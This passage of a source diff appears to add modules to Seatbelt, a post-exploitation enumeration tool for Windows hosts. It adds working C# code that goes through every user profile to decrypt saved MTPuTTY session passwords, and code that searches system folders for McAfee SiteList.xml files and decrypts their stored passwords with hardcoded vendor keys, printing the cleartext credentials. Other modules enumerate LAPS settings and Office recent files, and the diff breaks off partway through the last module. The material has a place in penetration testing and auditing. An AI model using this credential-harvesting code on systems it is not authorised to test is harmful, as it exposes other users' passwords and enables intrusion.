public DateTime? LastAccessed { get; set; }
|
||||||
|
public DateTime? LastModified { get; set; }
|
||||||
|
public long? Size { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,103 @@
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class LAPSCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "LAPS";
|
||||||
|
public override string Description => "LAPS settings, if installed";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public LAPSCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var AdmPwdEnabled = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "AdmPwdEnabled");
|
||||||
|
|
||||||
|
if (AdmPwdEnabled != null && !AdmPwdEnabled.Equals(""))
|
||||||
|
{
|
||||||
|
var LAPSAdminAccountName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "AdminAccountName");
|
||||||
|
|
||||||
|
var LAPSPasswordComplexity = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "PasswordComplexity");
|
||||||
|
|
||||||
|
var LAPSPasswordLength = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "PasswordLength");
|
||||||
|
|
||||||
|
var LAPSPwdExpirationProtectionEnabled = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "PwdExpirationProtectionEnabled");
|
||||||
|
|
||||||
|
yield return new LapsDTO(
|
||||||
|
(AdmPwdEnabled == "1"),
|
||||||
|
LAPSAdminAccountName,
|
||||||
|
LAPSPasswordComplexity,
|
||||||
|
LAPSPasswordLength,
|
||||||
|
LAPSPwdExpirationProtectionEnabled
|
||||||
|
);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
yield return new LapsDTO(
|
||||||
|
admPwdEnabled: false,
|
||||||
|
lapsAdminAccountName: null,
|
||||||
|
lapsPasswordComplexity: null,
|
||||||
|
lapsPasswordLength: null,
|
||||||
|
lapsPwdExpirationProtectionEnabled: null
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class LapsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public LapsDTO(bool admPwdEnabled, string? lapsAdminAccountName, string? lapsPasswordComplexity, string? lapsPasswordLength, string? lapsPwdExpirationProtectionEnabled)
|
||||||
|
{
|
||||||
|
AdmPwdEnabled = admPwdEnabled;
|
||||||
|
LAPSAdminAccountName = lapsAdminAccountName;
|
||||||
|
LAPSPasswordComplexity = lapsPasswordComplexity;
|
||||||
|
LAPSPasswordLength = lapsPasswordLength;
|
||||||
|
LapsPwdExpirationProtectionEnabled = lapsPwdExpirationProtectionEnabled;
|
||||||
|
}
|
||||||
|
public bool AdmPwdEnabled { get; }
|
||||||
|
|
||||||
|
public string? LAPSAdminAccountName { get; }
|
||||||
|
|
||||||
|
public string? LAPSPasswordComplexity { get; }
|
||||||
|
|
||||||
|
public string? LAPSPasswordLength { get; }
|
||||||
|
|
||||||
|
public string? LapsPwdExpirationProtectionEnabled { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(LapsDTO))]
|
||||||
|
internal class LAPSFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public LAPSFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (LapsDTO)result;
|
||||||
|
|
||||||
|
if(dto.AdmPwdEnabled.Equals("false"))
|
||||||
|
{
|
||||||
|
WriteLine(" [*] LAPS not installed");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteLine(" {0,-37} : {1}", "LAPS Enabled", dto.AdmPwdEnabled);
|
||||||
|
WriteLine(" {0,-37} : {1}", "LAPS Admin Account Name", dto.LAPSAdminAccountName);
|
||||||
|
WriteLine(" {0,-37} : {1}", "LAPS Password Complexity", dto.LAPSPasswordComplexity);
|
||||||
|
WriteLine(" {0,-37} : {1}", "LAPS Password Length", dto.LAPSPasswordLength);
|
||||||
|
WriteLine(" {0,-37} : {1}", "LAPS Expiration Protection Enabled", dto.LapsPwdExpirationProtectionEnabled);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,226 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Xml;
|
||||||
|
using System.Text;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Interop;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
class MTPuTTYConfig
|
||||||
|
{
|
||||||
|
public enum MTPuTTYConType
|
||||||
|
{
|
||||||
|
None = 0,
|
||||||
|
Raw = 1,
|
||||||
|
Telnet = 2,
|
||||||
|
Rlogin = 3,
|
||||||
|
SSH = 4,
|
||||||
|
Serial = 5
|
||||||
|
}
|
||||||
|
|
||||||
|
public MTPuTTYConfig(string DisplayName, string ServerName, string UserName, string Password, string PasswordDelay, string CLParams, string ScriptDelay, MTPuTTYConType ConnType = MTPuTTYConType.SSH, int Port = 0)
|
||||||
|
{
|
||||||
|
this.DisplayName = DisplayName;
|
||||||
|
this.ServerName = ServerName;
|
||||||
|
this.ConnType = ConnType;
|
||||||
|
this.Port = Port;
|
||||||
|
this.UserName = UserName;
|
||||||
|
this.Password = Password;
|
||||||
|
this.PasswordDelay = PasswordDelay;
|
||||||
|
this.CLParams = CLParams;
|
||||||
|
this.ScriptDelay = ScriptDelay;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public string DisplayName { get; set; }
|
||||||
|
public string ServerName { get; set; }
|
||||||
|
public MTPuTTYConType ConnType { get; set; }
|
||||||
|
public int Port { get; set; }
|
||||||
|
public string UserName { get; set; }
|
||||||
|
public string Password { get; set; }
|
||||||
|
public string PasswordDelay { get; set; }
|
||||||
|
public string CLParams { get; set; }
|
||||||
|
public string ScriptDelay { get; set; }
|
||||||
|
|
||||||
|
}
|
||||||
|
internal class MTPuTTYCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "MTPuTTY";
|
||||||
|
public override string Description => "MTPuTTY configuration files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
|
||||||
|
public MTPuTTYCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var userFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\";
|
||||||
|
var dirs = Directory.GetDirectories(userFolder);
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
var configs = new List<MTPuTTYConfig>();
|
||||||
|
|
||||||
|
string[] paths = { $"{dir}\\AppData\\Roaming\\TTYPlus\\mtputty.xml" };
|
||||||
|
|
||||||
|
foreach (var path in paths)
|
||||||
|
{
|
||||||
|
if (!File.Exists(path))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
|
||||||
|
var xmlDoc = new XmlDocument();
|
||||||
|
xmlDoc.Load(path);
|
||||||
|
|
||||||
|
var sessions = xmlDoc.GetElementsByTagName("Node");
|
||||||
|
|
||||||
|
if (sessions.Count == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foreach (XmlNode session in sessions)
|
||||||
|
{
|
||||||
|
if (session.Attributes["Type"].Value == "1"){
|
||||||
|
var displayName =session["DisplayName"].InnerText;
|
||||||
|
var serverName = session["ServerName"].InnerText;
|
||||||
|
var conType = int.Parse(session["PuttyConType"].InnerText);
|
||||||
|
var port = int.Parse(session["Port"].InnerText);
|
||||||
|
var username = session["UserName"].InnerText;
|
||||||
|
var encpassword = session["Password"].InnerText;
|
||||||
|
var passwordDelay = session["PasswordDelay"].InnerText;
|
||||||
|
var clParams = session["CLParams"].InnerText;
|
||||||
|
var scriptDelay = session["ScriptDelay"].InnerText;
|
||||||
|
|
||||||
|
// 1 + username + displayname to decrypt
|
||||||
|
byte[] decryptKey = Encoding.UTF8.GetBytes($"1{username.Trim()}{displayName.Trim()}");
|
||||||
|
string password = DecryptUserPassword(decryptKey, encpassword);
|
||||||
|
|
||||||
|
var config = new MTPuTTYConfig(displayName,
|
||||||
|
serverName,
|
||||||
|
username,
|
||||||
|
password,
|
||||||
|
passwordDelay,
|
||||||
|
clParams,
|
||||||
|
scriptDelay,
|
||||||
|
(MTPuTTYConfig.MTPuTTYConType)conType,
|
||||||
|
port);
|
||||||
|
|
||||||
|
configs.Add(config);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (configs.Count > 0)
|
||||||
|
{
|
||||||
|
yield return new MTPuTTYDTO(
|
||||||
|
userName,
|
||||||
|
configs
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private string DecryptUserPassword(byte[] pass, string encPass)
|
||||||
|
{
|
||||||
|
//Password Decryption code based on code from @ykoster https://gist.github.com/ykoster/0a475e4f09e8e5c714ae741933ab21a2
|
||||||
|
string decryptedPass = "";
|
||||||
|
IntPtr hProv = IntPtr.Zero;
|
||||||
|
IntPtr hHash = IntPtr.Zero;
|
||||||
|
IntPtr hKey = IntPtr.Zero;
|
||||||
|
uint CRYPT_VERIFY_CONTEXT = 0xF0000000;
|
||||||
|
uint CALG_SHA = 0x00008004;
|
||||||
|
uint CALG_RC2 = 0x00006602;
|
||||||
|
byte[] cipherText = Convert.FromBase64String(encPass);
|
||||||
|
uint cipherTextLength = (uint)cipherText.Length;
|
||||||
|
|
||||||
|
if (Advapi32.CryptAcquireContext(ref hProv, "", "", 1, CRYPT_VERIFY_CONTEXT))
|
||||||
|
{
|
||||||
|
if (Advapi32.CryptCreateHash(hProv, CALG_SHA, IntPtr.Zero, 0, ref hHash))
|
||||||
|
{
|
||||||
|
if (Advapi32.CryptHashData(hHash, pass, (uint)pass.Length, 0))
|
||||||
|
{
|
||||||
|
if (Advapi32.CryptDeriveKey(hProv, CALG_RC2, hHash, 0, ref hKey))
|
||||||
|
{
|
||||||
|
if (Advapi32.CryptDecrypt(hKey, IntPtr.Zero, true, 0, cipherText, ref cipherTextLength))
|
||||||
|
{
|
||||||
|
cipherText = cipherText.Skip(0).Take((int)cipherTextLength).ToArray();
|
||||||
|
if (cipherTextLength > 2 && cipherText[1] == 0x00)
|
||||||
|
{
|
||||||
|
decryptedPass = Encoding.Unicode.GetString(cipherText);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
decryptedPass = Encoding.UTF8.GetString(cipherText);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (String.IsNullOrEmpty(decryptedPass))
|
||||||
|
{
|
||||||
|
if(Marshal.GetLastWin32Error() == 0)
|
||||||
|
decryptedPass = "[EMPTY]";
|
||||||
|
else
|
||||||
|
decryptedPass = $"CouldNotDecrypt: {encPass} ({Marshal.GetLastWin32Error()})";
|
||||||
|
}
|
||||||
|
|
||||||
|
return decryptedPass;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class MTPuTTYDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public MTPuTTYDTO(string userName, List<MTPuTTYConfig> configs)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
Configs = configs;
|
||||||
|
}
|
||||||
|
public string UserName { get; set; }
|
||||||
|
public List<MTPuTTYConfig> Configs { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(MTPuTTYDTO))]
|
||||||
|
internal class MTPuTTYFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public MTPuTTYFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (MTPuTTYDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" MTPuTTY Configs ({dto.UserName}):\n");
|
||||||
|
|
||||||
|
foreach (var config in dto.Configs)
|
||||||
|
{
|
||||||
|
WriteLine($" DisplayName : {config.DisplayName}");
|
||||||
|
WriteLine($" ServerName : {config.ServerName}");
|
||||||
|
WriteLine($" PuttyConType : {config.ConnType}");
|
||||||
|
WriteLine($" Port : {config.Port}");
|
||||||
|
WriteLine($" UserName : {config.UserName}");
|
||||||
|
WriteLine($" Password : {config.Password}");
|
||||||
|
WriteLine($" PasswordDelay : {config.PasswordDelay}");
|
||||||
|
WriteLine($" CLParams : {config.CLParams}");
|
||||||
|
WriteLine($" ScriptDelay : {config.ScriptDelay}");
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,76 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class McAfeeConfigsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "McAfeeConfigs";
|
||||||
|
public override string Description => "Finds McAfee configuration files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System };
|
||||||
|
public override bool SupportRemote => false; // TODO when remote file searching is worked out... though it might take a while
|
||||||
|
|
||||||
|
public McAfeeConfigsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// if -full is passed, or any argument is passed, recursively search common locations for configuration files
|
||||||
|
if (!Runtime.FilterResults || (args.Length == 1))
|
||||||
|
{
|
||||||
|
string[] paths = { @"C:\Program Files\", @"C:\Program Files (x86)\", @"C:\ProgramData\", @"C:\Documents and Settings\", @"C:\Users\" };
|
||||||
|
foreach (string path in paths)
|
||||||
|
{
|
||||||
|
foreach (string foundFile in MiscUtil.GetFileList(@"ma.db|SiteMgr.xml|SiteList.xml", path))
|
||||||
|
{
|
||||||
|
var lastAccessed = File.GetLastAccessTime(foundFile);
|
||||||
|
var lastModified = File.GetLastWriteTime(foundFile);
|
||||||
|
var size = new FileInfo(foundFile).Length;
|
||||||
|
|
||||||
|
yield return new McAfeeConfigsDTO()
|
||||||
|
{
|
||||||
|
FileName = foundFile,
|
||||||
|
LastAccessed = lastAccessed,
|
||||||
|
LastModified = lastModified,
|
||||||
|
Size = size
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
string[] paths = { $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\All Users\\McAfee\\Agent\\DB\\ma.db",
|
||||||
|
$"{Environment.GetEnvironmentVariable("SystemDrive")}\\ProgramData\\McAfee\\Agent\\DB\\ma.db"};
|
||||||
|
|
||||||
|
foreach (string path in paths)
|
||||||
|
{
|
||||||
|
if (File.Exists(path))
|
||||||
|
{
|
||||||
|
var lastAccessed = File.GetLastAccessTime(path);
|
||||||
|
var lastModified = File.GetLastWriteTime(path);
|
||||||
|
var size = new FileInfo(path).Length;
|
||||||
|
|
||||||
|
yield return new McAfeeConfigsDTO()
|
||||||
|
{
|
||||||
|
FileName = path,
|
||||||
|
LastAccessed = lastAccessed,
|
||||||
|
LastModified = lastModified,
|
||||||
|
Size = size
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class McAfeeConfigsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string? FileName { get; set; }
|
||||||
|
public DateTime? LastAccessed { get; set; }
|
||||||
|
public DateTime? LastModified { get; set; }
|
||||||
|
public long? Size { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,238 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Xml;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
class McAfeeSite
|
||||||
|
{
|
||||||
|
public McAfeeSite(string type, string name, string server, string relativePath, string shareName, string userName, string domainName, string encPassword, string decPassword)
|
||||||
|
{
|
||||||
|
Type = type;
|
||||||
|
Name = name;
|
||||||
|
Server = server;
|
||||||
|
RelativePath = relativePath;
|
||||||
|
ShareName = shareName;
|
||||||
|
UserName = userName;
|
||||||
|
DomainName = domainName;
|
||||||
|
EncPassword = encPassword;
|
||||||
|
DecPassword = decPassword;
|
||||||
|
}
|
||||||
|
public string Type { get; set; }
|
||||||
|
|
||||||
|
public string Name { get; set; }
|
||||||
|
|
||||||
|
public string Server { get; set; }
|
||||||
|
|
||||||
|
public string RelativePath { get; set; }
|
||||||
|
|
||||||
|
public string ShareName { get; set; }
|
||||||
|
|
||||||
|
public string UserName { get; set; }
|
||||||
|
|
||||||
|
public string DomainName { get; set; }
|
||||||
|
|
||||||
|
public string EncPassword { get; set; }
|
||||||
|
|
||||||
|
public string DecPassword { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
internal class McAfeeSiteListCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "McAfeeSiteList";
|
||||||
|
public override string Description => "Decrypt any found McAfee SiteList.xml configuration files.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => false; // TODO when remote file searching is worked out... though it might take a while
|
||||||
|
|
||||||
|
public McAfeeSiteListCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string DecryptSiteListPassword(string b64password)
|
||||||
|
{
|
||||||
|
// Adapted from PowerUp: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1#L4128-L4326
|
||||||
|
|
||||||
|
// References:
|
||||||
|
// https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
|
||||||
|
// https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
|
||||||
|
// https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
|
||||||
|
// https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf
|
||||||
|
|
||||||
|
// static McAfee key XOR key LOL
|
||||||
|
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
|
||||||
|
|
||||||
|
// xor the input b64 string with the static XOR key
|
||||||
|
var passwordBytes = System.Convert.FromBase64String(b64password);
|
||||||
|
for (var i = 0; i < passwordBytes.Length; i++)
|
||||||
|
{
|
||||||
|
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
|
||||||
|
}
|
||||||
|
|
||||||
|
SHA1 crypto = new SHA1CryptoServiceProvider();
|
||||||
|
|
||||||
|
// build the static McAfee 3DES key TROLOL
|
||||||
|
var tDESKey = MiscUtil.Combine(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
|
||||||
|
|
||||||
|
// set the options we need
|
||||||
|
var tDESalg = new TripleDESCryptoServiceProvider();
|
||||||
|
tDESalg.Mode = CipherMode.ECB;
|
||||||
|
tDESalg.Padding = PaddingMode.None;
|
||||||
|
tDESalg.Key = tDESKey;
|
||||||
|
|
||||||
|
// decrypt the unXor'ed block
|
||||||
|
var decrypted = tDESalg.CreateDecryptor().TransformFinalBlock(passwordBytes, 0, passwordBytes.Length);
|
||||||
|
var end = Array.IndexOf(decrypted, (byte)0x00);
|
||||||
|
|
||||||
|
// return the final password string
|
||||||
|
var password = System.Text.Encoding.ASCII.GetString(decrypted, 0, end);
|
||||||
|
|
||||||
|
return password;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// paths that might contain SiteList.xml files
|
||||||
|
string[] paths = { @"C:\Program Files\", @"C:\Program Files (x86)\", @"C:\ProgramData\", @"C:\Documents and Settings\", @"C:\Users\" };
|
||||||
|
foreach (var path in paths)
|
||||||
|
{
|
||||||
|
foreach (var foundFile in MiscUtil.GetFileList(@"SiteList.xml", path))
|
||||||
|
{
|
||||||
|
var xmlString = File.ReadAllText(foundFile);
|
||||||
|
|
||||||
|
// things crash with this header, so have to remove it
|
||||||
|
xmlString = xmlString.Replace("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", "");
|
||||||
|
var xmlDoc = new XmlDocument();
|
||||||
|
|
||||||
|
xmlDoc.LoadXml(xmlString);
|
||||||
|
|
||||||
|
var sites = xmlDoc.GetElementsByTagName("SiteList");
|
||||||
|
|
||||||
|
if (sites[0].ChildNodes.Count == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var mcafeeSites = new List<McAfeeSite>();
|
||||||
|
|
||||||
|
foreach (XmlNode site in sites[0].ChildNodes)
|
||||||
|
{
|
||||||
|
if (site.Attributes["Name"] == null || site.Attributes["Server"] == null)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
var type = site.Name;
|
||||||
|
var name = site.Attributes["Name"].Value;
|
||||||
|
var server = site.Attributes["Server"].Value;
|
||||||
|
var relativePath = "";
|
||||||
|
var shareName = "";
|
||||||
|
var user = "";
|
||||||
|
var encPassword = "";
|
||||||
|
var decPassword = "";
|
||||||
|
var domainName = "";
|
||||||
|
|
||||||
|
foreach (XmlElement attribute in site.ChildNodes)
|
||||||
|
{
|
||||||
|
switch (attribute.Name)
|
||||||
|
{
|
||||||
|
case "RelativePath":
|
||||||
|
relativePath = attribute.InnerText;
|
||||||
|
break;
|
||||||
|
case "ShareName":
|
||||||
|
shareName = attribute.InnerText;
|
||||||
|
break;
|
||||||
|
case "UserName":
|
||||||
|
user = attribute.InnerText;
|
||||||
|
break;
|
||||||
|
case "Password":
|
||||||
|
if(MiscUtil.IsBase64String(attribute.InnerText))
|
||||||
|
{
|
||||||
|
encPassword = attribute.InnerText;
|
||||||
|
decPassword = DecryptSiteListPassword(encPassword);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
decPassword = attribute.InnerText;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case "DomainName":
|
||||||
|
domainName = attribute.InnerText;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var config = new McAfeeSite(
|
||||||
|
type,
|
||||||
|
name,
|
||||||
|
server,
|
||||||
|
relativePath,
|
||||||
|
shareName,
|
||||||
|
user,
|
||||||
|
domainName,
|
||||||
|
encPassword,
|
||||||
|
decPassword
|
||||||
|
);
|
||||||
|
|
||||||
|
mcafeeSites.Add(config);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mcafeeSites.Count > 0)
|
||||||
|
{
|
||||||
|
yield return new McAfeeSiteListDTO(
|
||||||
|
foundFile,
|
||||||
|
mcafeeSites
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class McAfeeSiteListDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public McAfeeSiteListDTO(string path, List<McAfeeSite> sites)
|
||||||
|
{
|
||||||
|
Path = path;
|
||||||
|
Sites = sites;
|
||||||
|
}
|
||||||
|
public string Path { get; set; }
|
||||||
|
public List<McAfeeSite> Sites { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(McAfeeSiteListDTO))]
|
||||||
|
internal class McAfeeSiteListFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public McAfeeSiteListFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (McAfeeSiteListDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" McAfee SiteList Config ({dto.Path}):\n");
|
||||||
|
|
||||||
|
foreach (var site in dto.Sites)
|
||||||
|
{
|
||||||
|
WriteLine($" Type : {site.Type}");
|
||||||
|
WriteLine($" Name : {site.Name}");
|
||||||
|
WriteLine($" Server : {site.Server}");
|
||||||
|
WriteLine($" RelativePath : {site.RelativePath}");
|
||||||
|
WriteLine($" ShareName : {site.ShareName}");
|
||||||
|
WriteLine($" UserName : {site.UserName}");
|
||||||
|
WriteLine($" DomainName : {site.DomainName}");
|
||||||
|
WriteLine($" EncPassword : {site.EncPassword}");
|
||||||
|
WriteLine($" DecPassword : {site.DecPassword}\n");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,202 @@
|
||||||
|
#nullable disable
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Interop;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using System.Globalization;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
class OfficeMRU
|
||||||
|
{
|
||||||
|
public string Product { get; set; }
|
||||||
|
|
||||||
|
public string Type { get; set; }
|
||||||
|
|
||||||
|
public string FileName { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class OfficeMRUsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "OfficeMRUs";
|
||||||
|
public override string Description => "Office most recently used file list (last 7 days)";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false; // TODO but a bit more complicated
|
||||||
|
|
||||||
|
public OfficeMRUsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var lastDays = 7;
|
||||||
|
|
||||||
|
// parses recent file shortcuts via COM
|
||||||
|
if (args.Length == 1)
|
||||||
|
{
|
||||||
|
lastDays = int.Parse(args[0]);
|
||||||
|
}
|
||||||
|
else if (!Runtime.FilterResults)
|
||||||
|
{
|
||||||
|
lastDays = 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteHost("Enumerating Office most recently used files for the last {0} days", lastDays);
|
||||||
|
WriteHost("\n {0,-8} {1,-23} {2,-12} {3}", "App", "User", "LastAccess", "FileName");
|
||||||
|
WriteHost(" {0,-8} {1,-23} {2,-12} {3}", "---", "----", "----------", "--------");
|
||||||
|
|
||||||
|
foreach (var file in EnumRecentOfficeFiles(lastDays).OrderByDescending(e => ((OfficeRecentFilesDTO)e).LastAccessDate))
|
||||||
|
{
|
||||||
|
yield return file;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<CommandDTOBase> EnumRecentOfficeFiles(int lastDays)
|
||||||
|
{
|
||||||
|
foreach (var sid in Registry.Users.GetSubKeyNames())
|
||||||
|
{
|
||||||
|
if (!sid.StartsWith("S-1") || sid.EndsWith("_Classes"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
string userName = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
userName = Advapi32.TranslateSid(sid);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
userName = sid;
|
||||||
|
}
|
||||||
|
|
||||||
|
var officeVersion =
